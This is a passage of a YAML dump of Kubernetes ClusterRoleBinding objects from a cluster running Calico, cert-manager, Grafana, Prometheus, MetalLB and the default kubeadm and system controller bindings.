    uid: da05ae50-91a8-4784-801b-9b09d0efe6f6
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: calico-kube-controllers
  subjects:
  - kind: ServiceAccount
    name: calico-kube-controllers
    namespace: calico-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"calico-node"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"calico-node"},"subjects":[{"kind":"ServiceAccount","name":"calico-node","namespace":"kube-system"}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-node
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6824664"
    uid: e942cd01-99e2-42f6-a5d7-159fe996b530
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: calico-node
  subjects:
  - kind: ServiceAccount
    name: calico-node
    namespace: calico-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"calico-tier-getter"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"calico-tier-getter"},"subjects":[{"apiGroup":"rbac.authorization.k8s.io","kind":"User","name":"system:kube-controller-manager"}]}
    creationTimestamp: "2025-09-21T11:09:52Z"
    name: calico-tier-getter
    resourceVersion: "528"
    uid: 816e18c1-71d0-42c8-b3de-3b0e395c0375
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: calico-tier-getter
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-controller-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: calico-typha
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821085"
    uid: e4dc1ced-7955-4afe-996c-3647355148de
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: calico-typha
  subjects:
  - kind: ServiceAccount
    name: calico-typha
    namespace: calico-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    resourceVersion: "220078"
    uid: 9695d36e-5221-4ede-a950-de216b824656
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-cainjector
  subjects:
  - kind: ServiceAccount
    name: cert-manager-cainjector
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-approve:cert-manager-io
    resourceVersion: "220075"
    uid: a62d8d1a-5584-442c-8405-8062132f43c4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-approve:cert-manager-io
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-certificates
    resourceVersion: "220076"
    uid: 83f693af-f173-40a5-8896-d7a52078a4bb
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-certificates
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-certificatesigningrequests
    resourceVersion: "220081"
    uid: d8bb7a45-37ea-4272-a029-bbfbccd81953
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-certificatesigningrequests
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-challenges
    resourceVersion: "220072"
    uid: e52e1e9e-0d44-4a3e-b149-4ad4d1bb8903
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-challenges
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-clusterissuers
    resourceVersion: "220073"
    uid: ae49d201-fd67-4069-824a-634217889176
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-clusterissuers
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-ingress-shim
    resourceVersion: "220077"
    uid: e7fa2f29-f910-4cdd-b85c-026b41a4eae0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-ingress-shim
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-issuers
    resourceVersion: "220080"
    uid: 5a243720-b16d-4f7f-9e2e-b5be61dd611f
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-issuers
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-orders
    resourceVersion: "220074"
    uid: b5f39d6d-7b7f-41c6-9eb1-ffb430075dd1
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-controller-orders
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook:subjectaccessreviews
    resourceVersion: "220079"
    uid: 8cdd41f5-d4fe-408a-908d-e01875e63422
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cert-manager-webhook:subjectaccessreviews
  subjects:
  - kind: ServiceAccount
    name: cert-manager-webhook
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: cluster-admin
    resourceVersion: "177"
    uid: 06fae82a-2c55-440f-b391-bdb4d8bcfe1d
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cluster-admin
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:masters
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"labels":{"app.kubernetes.io/version":"2.14.0","control-plane":"elastic-operator"},"name":"elastic-operator"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"elastic-operator"},"subjects":[{"kind":"ServiceAccount","name":"elastic-operator","namespace":"elastic-system"}]}
    creationTimestamp: "2025-09-23T12:24:54Z"
    labels:
      app.kubernetes.io/version: 2.14.0
      control-plane: elastic-operator
    name: elastic-operator
    resourceVersion: "437032"
    uid: 64c32963-7c2d-434e-a90d-28f611b5dd06
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: elastic-operator
  subjects:
  - kind: ServiceAccount
    name: elastic-operator
    namespace: elastic-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana-clusterrolebinding
    resourceVersion: "78695"
    uid: db8df6f3-a91c-4422-a784-5307a8f3546f
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: grafana-clusterrole
  subjects:
  - kind: ServiceAccount
    name: grafana
    namespace: grafana
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx
    resourceVersion: "64745"
    uid: b6c222fe-94d8-4b9e-8294-f6e23da4516c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: ingress-nginx
  subjects:
  - kind: ServiceAccount
    name: ingress-nginx
    namespace: ingress-nginx
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:cluster-admins
    resourceVersion: "244"
    uid: 7feb7f68-7113-4094-bf11-2f1e33ebb143
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cluster-admin
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: kubeadm:cluster-admins
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:get-nodes
    resourceVersion: "259"
    uid: 43bf7a4b-a925-4cae-9a10-480b6e518312
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: kubeadm:get-nodes
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:kubelet-bootstrap
    resourceVersion: "260"
    uid: 6bc1eba2-1295-46af-9391-6487fc6d2080
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:node-bootstrapper
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:node-autoapprove-bootstrap
    resourceVersion: "261"
    uid: 8ab05eb8-ef8f-457e-840c-c3861c611bca
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:certificates.k8s.io:certificatesigningrequests:nodeclient
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:node-autoapprove-certificate-rotation
    resourceVersion: "262"
    uid: 763f1381-2386-472f-b196-439d55c6fb53
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:certificates.k8s.io:certificatesigningrequests:selfnodeclient
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:nodes
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: kubeadm:node-proxier
    resourceVersion: "301"
    uid: 91f02003-a69c-441f-9cf2-e621d2cb439d
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:node-proxier
  subjects:
  - kind: ServiceAccount
    name: kube-proxy
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    resourceVersion: "417222"
    uid: f4db914e-7a68-4d75-add1-3249e3f78cf0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: kubernetes-dashboard-metrics-scraper
  subjects:
  - kind: ServiceAccount
    name: kubernetes-dashboard-metrics-scraper
    namespace: kubernetes-dashboard
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb:controller
    resourceVersion: "57862"
    uid: b2c4864d-9f6f-4f7d-83df-a362df77af40
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: metallb:controller
  subjects:
  - kind: ServiceAccount
    name: metallb-controller
    namespace: metallb-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb:speaker
    resourceVersion: "57861"
    uid: 9a821239-5661-47f7-ae15-970dcaf63cbc
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: metallb:speaker
  subjects:
  - kind: ServiceAccount
    name: metallb-speaker
    namespace: metallb-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server:system:auth-delegator
    resourceVersion: "266991"
    uid: fd02f063-f518-4e27-be77-47067dcd4ab4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:auth-delegator
  subjects:
  - kind: ServiceAccount
    name: metrics-server
    namespace: metrics-server
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    resourceVersion: "1129856"
    uid: f20b5cf6-df44-4553-a141-fdf7303b0365
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: prometheus-community-kube-state-metrics
  subjects:
  - kind: ServiceAccount
    name: prometheus-community-kube-state-metrics
    namespace: prometheus
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    resourceVersion: "1129855"
    uid: 5e081ea4-1eec-4e73-993f-305f1ad7fc43
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: prometheus-community-server
  subjects:
  - kind: ServiceAccount
    name: prometheus-community-server
    namespace: prometheus
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: run-nfs-subdir-external-provisioner
    resourceVersion: "977134"
    uid: a044d695-1929-4eb5-8323-d37efa143380
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: nfs-subdir-external-provisioner-runner
  subjects:
  - kind: ServiceAccount
    name: nfs-subdir-external-provisioner
    namespace: default
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:basic-user
    resourceVersion: "180"
    uid: d5d9c12d-91e9-4b5d-b09d-0ed9c18d96d9
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:basic-user
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:authenticated
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:attachdetach-controller
    resourceVersion: "189"
    uid: e19415fe-0029-431b-93ff-eba23a540fc4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:attachdetach-controller
  subjects:
  - kind: ServiceAccount
    name: attachdetach-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:certificate-controller
    resourceVersion: "216"
    uid: aabb373e-83ee-4d12-940f-1342f80fcbd7
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:certificate-controller
  subjects:
  - kind: ServiceAccount
    name: certificate-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:clusterrole-aggregation-controller
    resourceVersion: "190"
    uid: ccf810e8-91a6-46d3-aaea-404a81ff2d08
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:clusterrole-aggregation-controller
  subjects:
  - kind: ServiceAccount
    name: clusterrole-aggregation-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:cronjob-controller
    resourceVersion: "191"
    uid: 1b8afa3b-845e-4fb8-9c93-e9ddc87838bd
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:cronjob-controller
  subjects:
  - kind: ServiceAccount
    name: cronjob-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:daemon-set-controller
    resourceVersion: "192"
    uid: 03a87e33-f320-46ae-ab86-09cc444cf8c1
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:daemon-set-controller
  subjects:
  - kind: ServiceAccount
    name: daemon-set-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:deployment-controller
    resourceVersion: "193"
    uid: 1b253c4b-4a37-4381-a415-543d361dbc95
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:deployment-controller
  subjects:
  - kind: ServiceAccount
    name: deployment-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:disruption-controller
    resourceVersion: "194"
    uid: 76b697bf-9fa3-41d7-b363-a187bbd7175b
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:disruption-controller
  subjects:
  - kind: ServiceAccount
    name: disruption-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpoint-controller
    resourceVersion: "195"
    uid: 48db6c01-62d8-43b3-81a6-87dab7107c1c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:endpoint-controller
  subjects:
  - kind: ServiceAccount
    name: endpoint-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpointslice-controller
    resourceVersion: "196"
    uid: 217170f9-7463-42b6-a93d-0645a2e35ed6
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:endpointslice-controller
  subjects:
  - kind: ServiceAccount
    name: endpointslice-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:endpointslicemirroring-controller
    resourceVersion: "197"
    uid: e097dfd1-c38d-4ffe-aaf6-60a0761d4374
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:endpointslicemirroring-controller
  subjects:
  - kind: ServiceAccount
    name: endpointslicemirroring-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ephemeral-volume-controller
    resourceVersion: "199"
    uid: 93f21b5a-6147-49e7-8207-90b01bcc545b
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:ephemeral-volume-controller
  subjects:
  - kind: ServiceAccount
    name: ephemeral-volume-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:expand-controller
    resourceVersion: "198"
    uid: ffe99b16-8c20-43ca-9d71-be4312c75ec9
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: system:controller:expand-controller
  subjects:
  - kind: ServiceAccount
    name: expand-controller
    namespace: kube-system
